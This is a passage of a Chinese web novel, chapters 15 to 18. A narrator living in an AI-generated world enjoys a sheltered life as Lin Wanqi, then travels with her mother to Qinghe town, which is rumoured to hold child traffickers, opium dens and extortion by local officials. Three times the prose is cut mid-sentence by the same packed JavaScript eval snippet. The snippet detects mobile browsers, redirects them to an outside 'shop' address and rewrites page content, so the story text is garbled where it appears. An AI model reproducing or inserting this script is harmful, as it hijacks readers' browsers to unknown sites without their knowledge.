王姨母拉着我的手,上下打量,笑道:“真是女大十八变,晚琪出落得越发标致了。这气度,这模样,将来不知要许怎样的人家才配得上。”
母亲笑着嗔道:“她还小呢,说这些做什么。”
“不小了,及笄了就是大姑娘了。”王姨母拍拍我的手,“你母亲为你操持的及笄礼,咱们可都听说了,那排场……到底是林府,就是不一样。”
她们说着闲话,品着新沏的雨前龙井,谈论着时兴的衣料、首饰,哪家戏班子的新戏好听,哪家铺子的胭脂水粉最是细腻。我安静地坐着,听她们用轻缓的语调,谈论着一个与我记忆中的苦难全然无关的世界,也许这两次载入的地点本就不在一个世界里。
阳光透过雕花窗棂洒进来,暖洋洋的。湖面上有微风,吹皱一池春水,也送来远处隐约的丝竹声。一种久违的、近乎奢侈的平静,慢慢包裹了我。
15. 第十五章 噩梦再起
清晨,在鸟鸣声中醒来,丫鬟们早已备好温水和干净的衣物。早膳总是精致而丰盛,花样翻新。上午,有时在书房随意翻看些诗词杂记,那些书纸墨精良,带着淡淡的墨香。有时在绣房里,跟着针线最好的绣娘学些花样,指尖触到的丝线光滑柔韧。午后,或小憩,或去母亲房里请安说话,或是在园子里随意走走,看花开花落,云卷云舒。
衣食住行,无一不精,无一不细。我逐渐熟悉林府的生活。
疼痛、饥饿、肮脏、恐惧……那些曾经刻进骨髓的感受,在这里,被一层层柔软的丝绸、温热的食物、妥帖的照料、以及无处不在的“规矩”和“体面”,严严实实地隔开了。
我开始习惯醒来时看见雪青色的帐幔,习惯身上柔软光滑的衣料,习惯食物在口中化开的鲜美,习惯午后园子里慵懒的阳光和花香。
甚至,我开始享受这些。
我独自在临水的轩榭里凭栏远眺,看着夕阳将天边染成金红色,晚霞倒映在平静的湖面上,碎成一片粼粼的光。
春竹端来一盏温好的杏仁茶,轻声说:“小姐,您近来气色好多了。”
我接过茶盏,温热的瓷壁熨帖着手心:“是吗?”
“嗯!”春竹用力点头,“前些日子您总是恹恹的,也不爱说话。现在……现在看着精神多了,偶尔还会笑一笑。”
我微微一怔,抬手摸了摸自己的嘴角。
笑?
我有多久没有……自然地笑了?
在青石村,笑容是奢侈品,是恐惧和绝望间隙里偶尔漏出的一丝天光,短暂而珍贵。而在这里,它似乎可以是一种常态,一种理所当然的情绪。
“小姐……”春竹犹豫了一下,小声说,“您是不是把之前那些不好的梦,都忘了?”
我捧着茶盏,看着湖面上最后一抹霞光被夜色吞没。
那些泥泞、血腥、寒冷、被撕咬的剧痛……那些关于阿山、妞妞、李大先生的记忆……那些在实验室醒来时,依旧残留在神经末梢的痛苦战栗……
夜风带着凉意吹来,我拢了拢身上的披风。
“也许吧。”我轻声说,更像是在对自己说,“也许……是该好好享受这次旅途了。”
毕竟,上一次,我挣扎过、恐惧过,但都无济于事,最终被撕碎。而这一次,阳光正好,茶还温热,生活向我展示着它最柔软、最美好的一面。
我端起茶盏,将最后一口温润甜香的杏仁茶饮尽。夜色温柔,灯火次第亮起,将林府的亭台楼阁勾勒成一片温暖的光影。这一次,或许真的可以不一样。
日子像林府库房里最光滑的绸缎,一寸寸铺展开来,柔软、顺滑,没有一丝褶皱。
我开始懂得分辨衣料的质地。春竹捧来新裁的夏衫时,指尖抚过便能说出:“这是江南的宋锦,织得密,光泽好,衬得肤色亮。”或是:“这匹软烟罗轻薄透气,染的是雨过天青色,最宜暑热天。”
母亲听了,眼里有淡淡的笑意:“晚琪如今倒像个行家了。”
我也学会了品茶。不再是牛饮解渴,而是能辨出明前龙井的豆香,武夷岩茶的岩韵,祁门红茶的蜜糖甜。午后,常与母亲对坐轩窗下,看丫鬟用红泥小炉烧水,听紫砂壶中水沸如松涛,再看着碧绿的茶汤注入白瓷盏,氤氲起一团温润的雾气。
“这茶是今春新贡的,”母亲轻抿一口,眉眼舒展,“你父亲托人从京里捎回的,统共不过二两。”
茶香在口中化开,带着山野的清气。不经意间想起青石村后山那些野茶树,阿山曾摘过几片嫩芽,用粗陶碗泡了给我,说能解乏。那茶又苦又涩,混着陶土的腥气。而现在口中的茶,每一片叶子都经过精心挑选、炒制、保存,最终以最合宜的水温、最恰当的器皿,呈到我面前。
女红也渐渐上手了。绣房里光线充足,临窗的大案上铺着各色丝线,在阳光下泛着细腻的光泽。教我针线的绣娘姓周,四十来岁,手指灵巧得像会说话。
“小姐的手稳,是学刺绣的好料子。”周绣娘的声音温和,“您看这针脚,要匀,要密,像春雨,细细的,却能把地润透了。”
她教我绣一朵海棠。“花瓣要由浅入深,像姑娘家脸上的红晕,是慢慢透出来的。”她的声音很轻,像怕惊扰了针线,“这花心要用金线,一点点地挑,像阳光洒在露水上。”
我低头,看着针尖在细绢上游走,留下一道道彩色的痕迹。丝线穿过绢布的触感很微妙,轻微的阻力,然后是顺畅的滑过。空气里是干净的布帛气味,混着窗外飘来的栀子花香。时间在这里变得很慢,很安静。只有针线穿过绢布的细微声响,和远处隐约的蝉鸣。
绣到一半时,我忽然停下。指尖传来一阵熟悉的刺痛——不是针扎的疼,而是更深层的、记忆里的疼。我想起在青石村,用生锈的针缝补阿山被荆棘划破的衣裳。针很钝,布很粗,每扎一下都要用很大的力气。手指被磨出水泡,水泡破了,血混着泥,把布染成暗红色。
“小姐?”周绣娘轻声唤我,“可是累了?”
我回过神,看着绢布上那朵半成的海棠。粉色的花瓣娇嫩欲滴,金线的花心闪闪发光。
“……没事。”我说,重新拿起针,“继续吧。”
针尖再次落下,在细绢上绣出下一片花瓣。
林府的园子真的很大。东园的竹林清幽,清晨竹叶上挂着细密的水珠,风一过,便簌簌地落下来,像一场无声的雨。竹影在地上摇曳,斑驳陆离,犹如一幅会动的水墨画。西园的海棠粉白的花瓣层层叠叠,在阳光下几乎透明,随风花瓣便纷纷扬扬地飘落,落在青石小径上,落在我的裙摆上。
临湖的轩榭现在是我最爱去的地方。黄昏时分,夕阳会把湖水染成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119596|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金红色。湖面上有晚归的野鸭,划开一道道涟漪,把霞光揉碎了,又慢慢聚拢。对岸的柳树在暮色里变成朦胧的影子,像用淡墨晕染出来的。春竹总在这个时候端来茶点。我坐在轩榭里,看着天色一点点暗下去,灯火一盏盏亮起来。
林府的灯火很特别,不是刺眼的白光,而是温暖的、柔和的黄光。从各处的窗棂里透出来,把亭台楼阁的轮廓勾勒得清清楚楚,却又朦朦胧胧,像一场不真实的梦。
某天茶歇时分,母亲提起清河镇,语气轻描淡写,仿佛只是随口一提。
“过两日,我要去清河镇看看铺面。”她端起茶盏,用杯盖轻轻撇去浮沫,“你父亲说,那边新开的绸缎庄,料子是从南边来的,花样新鲜。正好给你再添置些衣裳。”
母亲的话像钩索,不由分说地将我拉拽进上一个凄惨的世界中。
“清河镇?”我重复了一遍,以为自己听错了。声音里努力维持着平静,但指尖却不由自主地收紧,手里的茶盏壁轻微灼烫。这熟悉的地名,应该只是同名,不是我上一次想要去的地方吧?一股惊悚顺着我的背脊往上窜。
“是啊。”母亲放下茶盏,目光温和地落在我脸上,“你及笄了,也该出去走动走动,见见世面。总闷在府里,人都要蔫了。”
她语气寻常,仿佛在说一件再自然不过的事。
阿山母亲娟秀的字迹,连同那句“勿信牙人”的警告,在我脑海里清晰起来。还有……李大先生抢走地图后逃窜的方向。我暗自长呼一口气,没事的,研究人员都说过这些世界是ai随机生成的,用同一个地名也很正常。
“什么时候去?”我听见自己的声音,努力维持着平静。
“就这两日吧。”母亲转过身,春竹立刻上前为她整理裙摆。
她走过来,伸手替我理了理衣领,动作温柔。烛光下,她眼中的关切不似作伪:“怎么了呀?脸色又有些发白。可是不愿出门?”
我垂下眼,避开她的目光:“没有……只是有些意外。”
“傻孩子,”母亲轻笑,“你如今大了,总不能一辈子关在绣楼里。多见见世面,总是好的。”
她拍拍我的手,指尖温热。可我却止不住得觉得一股寒意,正从被她触碰的地方,顺着血脉蔓延开来。我看着她转身离开的背影,裙摆拂过光洁的金砖地面,没有一丝声响。春竹轻手轻脚地收拾茶具,瓷器碰撞发出清脆的叮当声,在这过分安静的午后,显得格外刺耳。
“小姐,”春竹收拾妥当,小心翼翼地问,“您……真的要去清河镇吗?”
我抬起头,看着她年轻的脸庞上毫不掩饰的担忧。
“母亲说要去。”我听见自己的声音,平静得有些陌生。
“可是……”春竹咬了咬嘴唇,声音压得更低,“奴婢听周绣娘说……清河镇那地方,不太平。”
16. 第十六章 暗流低语
我心头一凛,面上却不动声色:“怎么个不太平法?”
春竹环顾四周,确认没有旁人,才凑近些说:“周绣娘有个表亲,前年在清河镇开了个小铺子。去年山洪过后,镇上来了好多逃荒的人。周绣娘的表亲心善,施了几顿粥。结果……结果就被人盯上了。”
“盯上?”
“嗯。”春竹的声音有些发颤,“说是……说是牙人。他们看中铺子里一个帮工的小伙计,那孩子才十三岁,爹娘都死在洪水里了。牙人想把他掳走卖掉,周绣娘的表亲不肯,护着那孩子……”
她顿了顿,眼圈微微发红:“后来铺子就被人砸了。表亲被打断了腿,那孩子……还是被带走了。周绣娘说,她表亲现在走路还一瘸一拐的,再也不敢去清河镇了。”
房间里忽然安静下来。只有窗外风吹过竹林的沙沙声,像某种低语。我端起已经凉透的茶,抿了一口。茶汤苦涩,带着凉意滑过喉咙。不好的预感涌上心头……
“周绣娘还说过什么吗?”我问。
春竹摇摇头:“没有了,周绣娘只嘱咐奴婢好生伺候小姐,若是出门,千万当心。”她顿了顿,声音里带了恳求,“小姐,要不……您跟夫人说说,就说身子不适,这次就不去了?”
我沉默着,指尖无意识地摩挲着茶盏上细腻的冰裂纹。
不去?可是春竹提到的山洪、牙人,这些明晃晃的信息都在提醒我,这一切都没有结束,我或许来到了阿山和妞妞去世一年后的世界。清河镇就在那里,那个阿山母亲警告过的地方,那个李大先生逃往的方向,那个与林府这层温软绸缎仅一墙之隔,曾令我毫无还手之力的地方。我要躲吗?还是……
“小姐?”春竹又唤了一声。
抬起头,我对她笑了笑,笑容大概有些僵硬,因为我看见春竹眼里闪过一丝不安。我收回笑容,轻吸一口气,阿山和妞妞曾经给了我那么多帮助和安慰,哪怕他们是虚构的,我也应该要去确认一下。
“母亲说得对。”我说,声音平静得连自己都有些意外,“我总不能一辈子躲在家里。”
春竹还想说什么,我摆了摆手。她应了声,退下了。
轩榭里又恢复了安静。湖面上的粼光不知何时已经暗了下去,天色正以一种不易察觉的速度变灰。远处传来隐约的钟声,大概是哪个寺庙的晚钟,一声,又一声,沉甸甸地敲在暮色里。
接下来的两日,林府上下都在为出行做着准备,表面一切如常,井然有序。母亲身边的管事嬷嬷亲自来我院里,询问衣裳首饰可还齐备,又嘱咐春竹和另一个叫秋穗的小丫鬟,出门在外要格外仔细。母亲自己也来过一次,带来一盒新打的珠花,说是清河镇“玲珑阁”最新的样式,顺路可以去看看。越是如常,我心底那根弦就绷得越紧。我开始留意府中下人们偶尔的低声交谈,那些原本被我忽略关于外面的只言片语。
去针线房取新做的披风时,周绣娘正低头分线,侧影在窗光里显得有些单薄。我示意春竹在外等候,自己走了进去。
“周绣娘。”我轻声唤道。
她连忙起身行礼:“小姐。”
“不必多礼。”我在她旁边的绣墩上坐下,目光落在她微微颤抖的手指上,“春竹同我说了……你表亲的事。我很抱歉。”
周绣娘眼圈立刻红了,慌忙用袖子按了按眼角:“劳小姐记挂……都是过去的事了。只是那地方……”她声音压得极低,带着后怕,“小姐金枝玉叶,若非必要,实在……实在不宜踏足。夫人疼小姐,或许不知那边如今的光景。自打去年那场大水,冲垮了上游好几个村子,清河镇涌进去的人,三教九流,什么人都有。镇上的老住户都说,天一擦黑,街上就没什么正经行人了。”
“牙人……很多吗?”我问。
周绣娘脸色更白,点了点头,又迅速摇头:“奴婢不敢妄言……只是听说,不止是牙人。还有……专做‘黑活’的。”她吐出这两个字时,声音几乎含在喉咙里,“我表亲后来托人带话,说打断他腿的,未必是寻常地痞,那些人下手狠辣,像是……有路数的。”
“路数?”
“嗯。”周绣娘凑近些,身上干净的皂角味混着一丝极淡的恐惧气息,“表亲说,那些人砸铺子时,不像只为泄愤,倒像在找什么人。后来镇上也有别的铺子遭过殃,都是家里有半大孩子,或是新雇了来历不明伙计的。”
我心头一沉。找人?找什么人?
从针线房出来,阳光正好,我却觉得有些冷。经过花园角门时,听见两个负责洒扫的粗使婆子在闲话。
一个说:“……听说夫人要带小姐去清河镇?哎哟,那地方可去不得,我娘家兄弟前个月去那边收山货,回来说镇上客栈里住的,好些眼神都不对,盯着人瞧,瘆得慌。”
另一个压低声音:“可不是么!我听说啊,镇子西头那片老屋,晚上常有怪声,像是人哭,又像是……野兽叫。有人说是山洪冲出来的冤魂不散,也有人说是……”她声音更低了,后面的话听不真切,只隐约捕捉到“拍花子”、“拐子”几个词。
我脚步未停,仿佛什么都没听见,径直走了过去。但那些零碎的词句,却像生了根的藤蔓,缠绕上来。
人就是这样,一旦注意了,就会发现生活里处处充斥这类似的流言。就像这次母亲与管事在屋里说话,我嫌屋内闷,便带着春竹在庄子旁的打谷场边慢慢走着。场边有几棵老槐树,浓荫匝地,几个庄户妇人正坐在树下歇晌,一边做着针线,一边低声聊着天。她们起初没注意到我,或者说,看到了这位小姐在远处,声音便不自觉地又压低了些,但那话语的碎片,还是随着风,断断续续地飘了过来。
“……可不是么,吓死个人!我娘家表姐嫁在清河镇边上,她说现在天一黑,镇上就跟鬼掐了嗓子似的,静得吓人,可那静里头又好像有东西在响,窸窸窣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119597|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窣的……”
“唉,都是去年那场大水造的孽……人一穷,啥事干不出来?听说镇上济世堂那边,后巷子一到后半夜,就有影影绰绰的人影,还有股子怪甜怪甜的味道,闻了头晕!”
一个年轻些的媳妇声音里带着恐惧:“娘,你们别说了……我听着就心慌。前儿不是还有货郎说,清河镇西头老义庄附近,夜里老有野狗叫得特别凶,还刨出过……” 后面的话被另一个妇人急促的“嘘”声打断了。
“嘘!快别说了,主家有人来了……”
晚膳时,父亲难得也在。他问了问母亲出行准备,又转向我,语气温和:“晚琪出去散散心也好。清河镇虽不比州府繁华,但民风……以往还算淳朴。为父在那边也有两家相识的商号,若看中什么,只管记下,让他们送到府上便是。”
“多谢父亲。”我垂眸应道。
“不过,”父亲话锋微转,用公筷替我夹了一块清蒸鲈鱼,“出门在外,不比家里。要紧的是安稳二字。多听你母亲安排,丫鬟婆子带齐全,莫要独自走动,更莫好奇去些偏僻处所。如今外面……流民未靖,总有些不妥当地的地方。”
母亲在一旁微笑:“老爷放心,我都省得。不过带女儿去看看铺子,挑些衣料玩意儿,半日功夫就回了,能有什么事。”
父亲点点头,不再多说。他语气里的谨慎和母亲笑容里的不以为意,形成一种微妙的对峙,让我食不知味。
出发前一天,陪母亲在花厅见一位远房来请安的婶娘。那婶娘是母亲的堂妹,嫁在邻县,说话爽利。闲话家常后,她便叹起气来:“……如今外面真是不比从前了。我们庄子附近有个清河镇,姐姐是知道的吧?以往还算个太平去处,自打去年那场大水,冲了好些村子,流民一窝蜂涌进去,如今可是乱了套了。”
母亲微微蹙眉:“哦?乱在何处?”
婶娘凑近些,用手帕掩了掩嘴角,低声道:“龙蛇混杂!听说镇上来了好些生面孔,开着些不三不四的铺子。有那暗地里卖‘黑烟’的,专勾人魂魄,沾上了就废了!还有啊,客栈里住的人也是杂,眼神都邪性,盯着人看……镇上老户都说,夜里早早关门,姑娘媳妇等闲不敢出门。”
母亲端起茶盏,淡淡道:“穷山恶水,难免有些宵小。官府也不管管?”
“管?”婶娘撇撇嘴,“天高皇帝远,那些差爷……哼,说不定还抽着份子钱呢。反正啊,咱们这样的人家,可千万别往那边凑。”她说着,脸上露出真切的不赞同,“我听说姐夫打算把生意扩展到清河镇,你也不劝劝他!那地方如今就是个浑水潭,沾上怕有麻烦。”
母亲轻轻放下茶盏,语气平和却不容置疑:“老爷有老爷的打算。生意上的事,我们妇道人家也不甚明白。不过是去看看料子,半日就回,不妨事的。”
婶娘见母亲如此说,也不好再深劝,只又念叨了几句“小心为上”,便岔开了话题。
17. 第十七章 清河镇
说实话,那么多流言蜚语决不会是空穴来风,清河镇或许现在已经是相当危险的地方了。我心里止不住地涌现害怕的情绪,我应该听春竹说的建议不去那个地方,说服母亲去更安全的城镇采买。至于,我一直牵挂不下的阿山和妞妞,完全可以雇人去找,反正林府有的是钱。但是,令我非常奇怪的点就是父亲和母亲似乎一定要我去那个狼谭虎穴一趟也不知道是为什么。
到了出发的那一天,母亲见到我一身素衣打扮时,动作微顿,随即漾开温和的笑意:“这身倒也清爽。”她伸手替我理了理本就很平整的衣襟,指尖温暖,“走吧,车马候着了。”
林府正门大开,晨光斜照在青石台阶上,泛着清冷的光泽。三辆黑漆车厢的马车依次停在门前,帷幔用的是靛蓝细布,边缘滚着暗色的回纹。拉车的马匹毛色光亮,安静地打着响鼻。六个护院穿着统一的青灰色布衣,腰佩短棍。
我看着跟车的人数有些忐忑:“母亲,我们不再多带些人手吗?”毕竟是要去一个危险的地方。
母亲笑出声:“晚琪,咱们带的护院已经是附近城镇内最能打的了,有他们六个在安全得很。其他护院就让他们照看家宅吧。”
管事嬷嬷上前,低声向母亲回禀几句。母亲点点头,扶着嬷嬷的手,率先走向中间那辆最宽敞的马车。春竹和秋穗跟在我身后,那两个粗使婆子则无声地跟在最后一辆装载物品的马车旁。
我踏上脚凳,钻进车厢。车内空间比从外看着更宽敞,设有软垫和小几,角落里固定着铜质暖炉,虽未生火,却已熏了淡淡的安息香。车窗悬着双层帘子,此刻都束起着,透进明亮的晨光。
母亲在我对面坐下,姿态优雅。车夫轻叱一声,马车缓缓启动,车轮碾过青石板路,发出辚辚的声响,平稳而沉闷。透过车窗,我看到林府高大的门楣和石狮子在视线中缓缓后退,渐渐变小。门房和几个仆役垂手立在门外,身影在晨光里拉得细长。
马车驶出林府所在的街巷,转入稍宽一些的街道。时辰尚早,街面上行人不多,偶有挑着担子的货郎或推着独轮车的菜农匆匆走过,见到这车队,都下意识地避让到路边,垂下目光。两旁的店铺大多还未卸下门板,只有早点铺子冒出腾腾热气,夹杂着食物朴实的香味。
这是我成为林晚琪后,第一次真正离开林府的范围。熟悉的安宁被车轮抛在身后,未知的气息透过车窗缝隙,隐隐渗入车厢。母亲一直很安静,时而看看窗外,时而闭目养神。她似乎并不打算多说什么,也没有流露出任何特别的情绪,仿佛这真的只是一次再普通不过的出门采买。
我在犹犹豫豫中还是开口问道:“母亲,父亲是在清河镇做什么生意?”
母亲侧目,似乎很奇怪我会这么问,她说:“自然是我们林家一直做的香料生意。为什么突然这么问?”
“就是……我听说清河镇不太平……担心父亲有危险。”
“不至于。”母亲一如往常地微笑。
我也没有再开口,目光落在自己的手上。马车经过城墙,高大的阴影掠过车厢,随即,视野骤然开阔。官道两旁是绿油油的田野,在晨风中起伏。远处有零星的农舍,升起袅袅炊烟。天高云淡,空气里是庄稼、泥土和野草混合的清新气味。
官道并不像城内街道那样平整,车轮不时碾过坑洼,带来轻微的颠簸。路旁偶尔可见倾倒的破车、散落的草料,甚至有几处焦黑的痕迹,像是曾经燃过篝火,旁边散落着啃干净的骨头和破烂的陶片。田埂边,有时能看到三五成群、衣衫褴褛的人,或坐或卧,目光呆滞或警惕地望向路上的车马。他们与田野间劳作的农人截然不同,身上带着一种无根浮萍般的惶然与麻木。父亲那句“流民未靖”的轻描淡写,此刻具象化。他们像这片丰饶土地上的疮疤,沉默地提醒着去年那场洪水的余威。
我们的马车经过时,那些目光会聚拢过来。有的只是空洞的注视,有的则带着难以言喻的复杂情绪,是羡慕、畏惧、怨恨,或许还有被深深压抑在绝望中的贪婪。护院们不动声色地调整位置,手按在腰间的短棍上,眼神锐利如鹰。
车厢内,母亲微微蹙眉,伸手将车窗的绒布帘子放下一半,挡住大部分视线。光线暗了下来,车内安息香的味道似乎更浓了些。
“别看。”母亲的声音很轻,依旧闭着眼,“外头脏乱,没得污了眼睛。”
我没应声,但也没有完全移开目光,透过那半幅帘子的缝隙,看着那些迅速后退灰败的身影。他们中的一些人,看起来年纪并不大,瘦骨嶙峋,眼神却苍老得像干涸的井。
阿山和妞妞如果活下来,会不会也变成这样?心脏像是被一只冰冷的手攥了一下。
马车继续前行,路旁的景色渐渐改变,出现了更多的树林和丘陵,车夫的吆喝声和鞭响偶尔传来,带着一种催促的意味。大约过了一个多时辰,马车速度放缓,前方隐约传来嘈杂的人声和牲畜的嘶鸣。
“夫人,小姐,前面快到清河镇了。”车夫在外头禀报,声音透过车厢壁,有些沉闷,“镇口人多车杂,恐有些拥堵颠簸。”
母亲“嗯”了一声,她坐直身体,仔细整理自己的衣袖和裙摆,又看向我,目光在我素净的衣饰上停留一瞬,道:“待会儿跟紧我,莫要乱走。春竹,秋穗,仔细扶着小姐。”
“是。”两个丫鬟连忙应道。
马车驶入了一片更为明显的嘈杂之中,商贩的叫卖、牲口的鸣叫、车轮的吱嘎、扁担的晃动、还有嗡嗡的人语。车速慢得像在蠕动。透过帘子缝隙,可以看到外面晃动着各色人影,挑担的、推车的、牵驴的、挎篮的……衣着大多灰扑扑,面色被风尘和生计刻上深深的痕迹。街道两旁是高低错落的屋舍店铺,旗幡招展,但许多建筑看起来颇为陈旧,墙皮剥落,瓦檐生草。有些显然是新近匆匆搭建的棚屋,简陋歪斜。这就是清河镇。与林府所在州府的井然有序相比,这里充满了粗粝的、旺盛的、同时也混乱不安的生命力。
马车终于彻底停了下来。
“夫人,玲珑阁到了。”车夫的声音再次响起,“只是门前人多,车马不便直接靠前。”
母亲看向我:“晚琪,我们下车。”
春竹和秋穗先下去,放好脚凳,打起帘子。母亲扶着嬷嬷的手,仪态万方地下了车。我紧随其后。
跨出车厢的瞬间,阳光有些刺眼,我眯了眯眼,适应着眼前的光景。一股混杂着尘土、牲畜粪便和复杂人气的味道扑面而来,与车厢内熏香的洁净气息截然不同。
面前的玲珑阁是间两层楼的铺面,在这一片低矮建筑中算得上气派,黑底金字的招牌高悬。但此刻,铺子门前却围了不少人,似乎发生了争执。几个面色不善的汉子堵在门口,正与掌柜模样的人推搡理论着什么,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119598|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音粗嘎,引来更多人驻足围观。更远处,街角蹲着几个衣衫破烂的半大孩子,眼神直勾勾地盯着这边,或者说,盯着我们这些刚从华贵马车上下来,与周遭环境格格不入的人。
护院们迅速围拢过来,隔开过于靠近的人群。那两个粗使婆子也悄无声息地站到了我和母亲侧后方,身形像两堵沉默的墙。
母亲神色依旧镇定,只低声对管事嬷嬷道:“去看看怎么回事。”
嬷嬷应声上前。
我站在原地,目光缓缓扫过这条街道,打量起街上的店铺和路人。风穿过街道,卷起尘土,带来一股甜腻的气息,令人莫名地头晕。我轻轻握紧了拳。
管事嬷嬷很快折返,脸色比去时更沉,凑到母亲耳边低声回禀。这次,我凝神捕捉,听到的句子更加清晰:“……是衙门户房那边新立的规矩,说是核查历年商户税契,专挑这些新开或换了东家的铺子。掌柜的看了,那文书印章倒是真的,可要补的税款和核验费高得离谱……分明是借官府的由头敲骨吸髓。掌柜的悄悄递了话,说这规矩,是年前新来的一位李师爷秉公拟定的。”
母亲听完,面上依旧看不出什么波澜,只微微颔首,目光扫过玲珑阁门前那几个横眉立目的汉子。他们虽穿着寻常布衣,但腰间挂着的铁尺和那副有恃无恐的神态,已与普通地痞不同。她略一沉吟,对嬷嬷道:“既是衙门里新立的规矩,更不必当面理论。你进去与掌柜说,料子照旧送到府上,回头府里一并结算。”
“是。”嬷嬷应下,转身又朝铺子走去,这次身边跟了一个护院,手里似乎还拿着一个不起眼的青布小袋。
母亲转向我,语气温和如常,仿佛眼前的骚乱不过是官府例行公事:“这里腌臜,我们先去别处转转。我记得镇东头有家老银楼,手艺尚可,正好去看看有没有合意的花样。”
我顺从地点头,心中却是一凛。衙门里一个师爷拟定的规矩,就能让这些如狼似虎的汉子公然堵门勒索?母亲的反应太过平静,甚至带着一种熟稔的避让,仿佛对此类事情早有预料,深知与这些规矩和拟定规矩的人硬碰并非明智之举。
“母亲,这些人是在敲诈吗?”我忍不住问道,“官府带头敲诈?”
母亲淡淡道:“在外可不要乱说。”她没有正面回答我。
护院们簇拥着我们转身朝另一个方向走去。围观的人群自动分开一条缝隙,各种目光落在我们身上。那几个堵门的汉子中,有一个领头的,目光在我们身上刻意停留了片刻,嘴角扯出一丝意味不明的弧度,才转回头去继续向掌柜施压。他们显然知道我们是谁,也知道我们选择了退让。
离开玲珑阁所在的街市,喧嚣稍减,但那种混杂着颓败与躁动的气息并未散去。街道变得狭窄了些,两旁店铺的幌子也显得陈旧。空气里那股甜腻的腐败气味时浓时淡,不知是从哪些门帘低垂的铺面里飘出。我看到一个面黄肌瘦、眼神涣散的男人,被一个穿着体面、满脸堆笑的人半扶半拽地拉进一扇挂着“烟膏”字样的小门。不远处,一个衣衫褴褛的妇人抱着啼哭不止的孩子,向路人伸出枯瘦的手,眼神绝望。而街角阴影里,两个穿着普通,但眼神精悍的汉子,正朝那妇人方向打量着,低声交谈着什么。
这一切,看得我心惊胆战,这是我原本生活的世界完全不可能发生的事情,即便在青石村都没有接触到如此露骨的恶意。
18. 第十八章 阴翳之下
老银楼在镇子的西头,门面比玲珑阁小了许多,黑漆木门半掩,招牌上的金字也已黯淡。一个伙计正拿着鸡毛掸子,有一下没一下地掸着柜台上的灰,见到我们这一行人,愣了一下,随即堆起笑脸迎上来。
“夫人、小姐里面请!想看些什么?咱们这儿有新打的簪子、镯子,花样都是老师傅亲手画的……”
银楼里光线昏暗,弥漫着金属、灰尘和旧木头的气味。柜台里陈列的银饰样式老旧,光泽也有些发乌,与林府首饰匣里那些精巧璀璨的物件不可同日而语。
母亲随意看了几眼,便对掌柜模样的老者道:“可有新些的花样?或是用料扎实些的。”
掌柜连忙从柜台下取出一个木匣打开,里面是几张泛黄的画样,线条粗朴。“夫人您看,这些都是老样式,但寓意好,做工也实在。您要什么尺寸、什么分量,小店都能现打。”
母亲接过画样,仔细看着,似乎真的在认真挑选。我站在一旁,目光却不由自主地飘向门外。街道对面,是一条更窄的巷子入口,黑洞洞的,像一张择人而噬的嘴。巷口歪歪斜斜地靠着一块破木牌,字迹模糊,隐约能辨出“义庄”二字。
义庄……婆子们口中夜半怪声、野狗刨食的地方。
就在这时,巷子深处似乎传来一点轻微的动静,像是重物拖拽的声音,又像是压抑的呜咽,极快地被风吹散。我背脊瞬间窜过一丝寒意。
几乎同时,我看见银楼斜对面,一个卖炊饼的摊子后面,蹲着两个半大孩子。衣衫破烂,脸上脏得看不清模样,但四只眼睛却亮得惊人,直勾勾地盯着我们。那眼神里没有孩童的天真,只有一种饥饿动物般的专注和评估。其中一个孩子,目光在我腰间悬挂的荷包上停留。我下意识地握紧荷包。
母亲似乎选定了花样,正与掌柜低声商议工钱和取货日期。
我低声对身旁的春竹道:“我有些气闷,去门口透透气,你在这里陪着母亲。”
春竹立刻紧张起来:“小姐,外头乱……”
“就在门口,不走远。”我柔声道。
春竹无奈,只得点头,眼睛一眨不眨地看着我。
我走到银楼门口,并未跨出门槛,只是倚着门框,透过门神一样的两个护院看向对街。那两个孩子还在,见我看过去,其中一个迅速低下头,假装摆弄地上的石子,另一个则毫不避讳地回视,眼神里甚至带着一丝挑衅。
风从对面巷口吹来,带来一股混合着腐土和某种刺鼻药味的阴冷气息。我强忍着不适,凝神细听。除了街面上零星的叫卖和行人脚步声,巷子里似乎又恢复了死寂。但刚才那声响动,绝非我的错觉。
“小姐。”一个低沉的声音在身侧响起,是林府的一个粗使婆子,不知何时悄无声息地挪到我旁边半步远的位置,她目光也盯着对面巷口,脸上没什么表情,声音压得极低,“那地方不干净,少看为妙。”
我心头一跳,转头看她。她依旧垂着眼,姿态恭谨。
“怎么不干净法?”我也压低声音问。
婆子嘴唇微动:“冤魂多,活鬼也多。”她顿了顿,补充道,“夜里常有车马进出,没声息的。白天……也最好别靠近。”
活鬼?车马?
我还想再问,母亲那边已经结束了。掌柜千恩万谢地将我们送出门,母亲对我和春竹道:“走吧,去茶楼歇歇脚,用了午膳便回府。”
